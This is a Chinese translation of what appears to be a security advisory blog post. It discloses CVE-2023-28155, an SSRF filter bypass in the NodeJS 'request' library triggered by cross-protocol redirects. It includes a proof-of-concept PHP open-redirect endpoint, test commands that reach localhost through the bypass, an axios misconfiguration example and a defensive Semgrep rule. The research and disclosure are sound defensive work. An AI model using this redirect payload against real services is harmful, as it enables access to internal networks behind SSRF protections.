SSRF跨协议重定向绕过
2023年3月16日 - 作者:Szymon Drosdzol
服务器端请求伪造(SSRF)是一个相当知名的漏洞,已有成熟的防护方法。因此,当我在常规复测中绕过SSRF防护措施时,我感到非常惊讶。更糟糕的是,我绕过了我们自己推荐的过滤器!我不能让这件事就此过去,必须彻底调查这个问题。
引言
服务器端请求伪造是一种漏洞,恶意攻击者利用受害服务器代表攻击者执行HTTP(S)请求。由于服务器通常可以访问内部网络,这种攻击可用于绕过防火墙和IP白名单,访问攻击者原本无法访问的主机。
请求库漏洞
假设没有过滤器绕过,SSRF攻击可以通过地址过滤来防止。经典的SSRF过滤绕过技术之一是重定向攻击。在这些攻击中,攻击者设置一个恶意Web服务器,提供一个重定向到内部地址的端点。受害服务器允许向外部服务器发送请求,但随后盲目跟随恶意重定向到内部服务。
当然,以上内容都不是新的。所有这些技术已经存在多年,任何知名的反SSRF库都能缓解此类风险。然而,我还是绕过了它。
客户的代码是一个为集成创建的简单端点。在最初的测试中,根本没有过滤。经过我们的测试后,客户应用了一个反SSRF库ssrfFilter。出于研究和代码匿名化的目的,我将逻辑提取到一个独立的NodeJS脚本中:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
const request = require('request');
const ssrfFilter = require('ssrf-req-filter');
let url = process.argv[2];
console.log("Testing", url);
request({
uri: url,
agent: ssrfFilter(url),
}, function (error, response, body) {
console.error('error:', error);
console.log('statusCode:', response && response.statusCode);
});
|
为了验证重定向绕过,我创建了一个简单的PHP Web服务器,其中包含一个开放重定向端点,并使用我的测试域名tellico.fun托管在互联网上:
1
|
<?php header('Location: '.$_GET["target"]); ?>
|
初始测试表明漏洞已被修复:
1
2
3
|
$ node test-request.js "http://tellico.fun/redirect.php?target=http://localhost/test"
Testing http://tellico.fun/redirect.php?target=http://localhost/test
error: Error: Call to 127.0.0.1 is blocked.
|
但是,当我切换协议后,突然又能访问本地主机服务了。读者应仔细查看有效载荷,因为差异很小:
1
2
3
4
|
$ node test-request.js "https://tellico.fun/redirect.php?target=http://localhost/test"
Testing https://tellico.fun/redirect.php?target=http://localhost/test
error: null
statusCode: 200
|
发生了什么?攻击者服务器将请求重定向到另一个协议——从HTTPS到HTTP。这就是绕过反SSRF保护所需的全部。
为什么会这样?在深入研究流行的请求库代码库后,我在lib/redirect.js文件中发现了以下行:
1
2
3
4
|
// handle the case where we change protocol from https to http or vice versa
if (request.uri.protocol !== uriPrev.protocol) {
delete request.agent
}
|
根据上面的代码,任何时候重定向导致协议切换,请求代理都会被删除。没有这个变通方法,每当服务器导致跨协议重定向时,客户端都会失败。这是必需的,因为本机NodeJs http(s).agent不能同时用于两种协议。
不幸的是,这种行为也会丢失与代理关联的任何事件处理。鉴于SSRF预防基于代理的createConnection事件处理程序,这种意外行为影响了请求库中SSRF缓解策略的有效性。
披露
此问题于2022年12月5日向维护者披露。尽管我们尽了最大努力,但尚未收到确认。经过90天的期限后,我们决定发布完整的技术细节以及一个公共Github问题,链接到一个修复的拉取请求。2023年3月14日,为此漏洞分配了一个CVE ID。
- 2022年12月5日 - 首次向维护者披露
- 2023年1月18日 - 再次尝试联系维护者
- 2023年3月8日 - 创建Github问题,不含技术细节
- 2023年3月13日 - 分配CVE-2023-28155
- 2023年3月16日 - 完整技术细节披露
其他库
既然 supposedly universal filter 结果如此依赖于HTTP(S)客户端的实现,很自然地要问其他流行库如何处理这些情况。
Node-Fetch
node-Fetch库也允许在其选项中覆盖HTTP(S)代理,而不指定协议:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
const ssrfFilter = require('ssrf-req-filter');
const fetch = (...args) => import('node-fetch').then(({ default: fetch }) => fetch(...args));
let url = process.argv[2];
console.log("Testing", url);
fetch(url, {
agent: ssrfFilter(url)
}).then((response) => {
console.log('Success');
}).catch(error => {
console.log('${error.toString().split('\n')[0]}');
});
|
与请求库相反,它在跨协议重定向的情况下直接失败:
1
2
3
|
$ node fetch.js "https://tellico.fun/redirect.php?target=http://localhost/test"
Testing https://tellico.fun/redirect.php?target=http://localhost/test
TypeError [ERR_INVALID_PROTOCOL]: Protocol "http:" not supported. Expected "https:"
|
因此,无法对此库执行类似的攻击。
Axios
axios库的选项允许分别覆盖两种协议的代理。因此,以下代码受到保护:
1
2
3
4
|
axios.get(url, {
httpAgent: ssrfFilter("http://domain"),
httpsAgent: ssrfFilter("https://domain")
})
|
注意:在Axios库中,必须在代理覆盖期间硬编码URL。否则,其中一个代理将被错误协议的代理覆盖,跨协议重定向将类似于node-fetch库那样失败。
尽管如此,axios调用仍然可能易受攻击。如果忘记覆盖两个代理,跨协议重定向可以绕过过滤器:
1
2
3
4
|
axios.get(url, {
// httpAgent: ssrfFilter(url),
httpsAgent: ssrfFilter(url)
})
|
这种错误配置很容易被忽略,因此我们创建了一个Semgrep规则来捕获JavaScript代码中的类似模式:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
rules:
- id: axios-only-one-agent-set
message: Detected an Axios call that overwrites only one HTTP(S) agent. It can lead to a bypass of restriction implemented in the agent implementation. For example SSRF protection can be bypassed by a malicious server redirecting the client from HTTPS to HTTP (or the other way around).
mode: taint
pattern-sources:
- patterns:
- pattern-either:
- pattern: |
{..., httpsAgent:..., ...}
- pattern: |
{..., httpAgent:..., ...}
- pattern-not: |
{...,httpAgent:...,httpsAgent:...}
pattern-sinks:
- pattern: $AXIOS.request(...)
- pattern: $AXIOS.get(...)
- pattern: $AXIOS.delete(...)
- pattern: $AXIOS.head(...)
- pattern: $AXIOS.options(...)
- pattern: $AXIOS.post(...)
- pattern: $AXIOS.put(...)
- pattern: $AXIOS.patch(...)
languages:
- javascript
- typescript
severity: WARNING
|
总结
如上所述,我们在流行的请求库中发现了一个可 exploited 的SSRF漏洞。尽管这个包已被弃用,但这个依赖仍被超过50,000个项目使用,每周下载量超过1800万次。
我们展示了攻击者如何通过简单地将请求重定向到另一个协议(例如HTTP到HTTPS)来绕过注入此库的任何反SSRF机制。虽然我们审查的许多库确实提供了对此类攻击的保护,但其他库(如axios)在存在类似错误配置时可能容易受到攻击。为了使这些问题更容易发现和避免,我们还发布了内部的Semgrep规则。